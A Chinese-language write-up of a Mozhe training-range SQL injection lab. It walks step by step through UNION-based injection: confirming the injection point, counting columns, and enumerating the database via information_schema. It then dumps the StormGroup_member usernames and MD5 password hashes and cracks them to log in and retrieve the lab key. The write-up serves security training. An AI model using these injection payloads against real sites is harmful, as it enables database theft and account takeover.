有一说一,本来是准备把笔记写在墨者的解题思路里的,结果不让写了,离谱
启动靶场后,会进入一个登录界面,界面下面有一个维修公告,打开公告。
1.判断有没有注入点:
219.153.49.228:49464/new_list.php?id=1 and 1=1
219.153.49.228:49464/new_list.php?id=1 and 1=2
这个就是一个简单的逻辑问题,真且真为真,真且假为假。
2.猜解列名量(字段数)
利用语句 order by x (x为临界点),更改x的值,从而找出字段数 。根据情况我们从小到大或者从大到小挨个试就行。这里的字段数为4
(回车后出现的%20为空格)
new_list.php?id=1 order by 4
3.查找可显示字段数
new_list.php?id=-1 union select 1,2,3,4
注意:将id=1改为id=-1。我们要让传递的信息为后面的语句。
我们可以到页面显示的大大的2和小小的3,这里的可显示字段数为2个。分别为第二个和第三个。
4.信息收集
数据库版本 version()| 5.7.22-0ubuntu0.16.04.1
数据库名字 database() |mozhe_Discuz_StormGroup
数据库用户 user() | root@localhost
操作系统 @@version_compile_os | Linux
这里收集数据库名就够用了,其他的信息闲的无聊的也可以收集下。
new_list.php?id=-1 union select 1,group_concat(database()),3,4
5.查询所有表名
这里补充一点东西:
1.在MYSQL5.0(好像是)以上版本中,MYSQL存在一个自带的数据库名为information_schema,他是一个存储所有数据库名,表名,列名的数据库。
2.数据库中符号“ . ”代表下一级
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
这里得到两个表名
6.查询指定表名下的列名信息
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
信息:id,name,password,status
7.查询指定的数据
union select 1,name,password,4 from StormGroup_member
猜解多个数据可以采用limit x,1 变动猜解:
union select 1,name,password,4 from StormGroup_member limit 0,1
这里我们只需要拿到账号密码就行了。这里的密码是MD5加密的,我们去md5在线解密破解,md5解密加密这里解密一下就行了
mozhe dsan13
mozhe 756600
应该是登录第二个账号密码是可以正常登录的。
KEY在最下面直接提交就好了。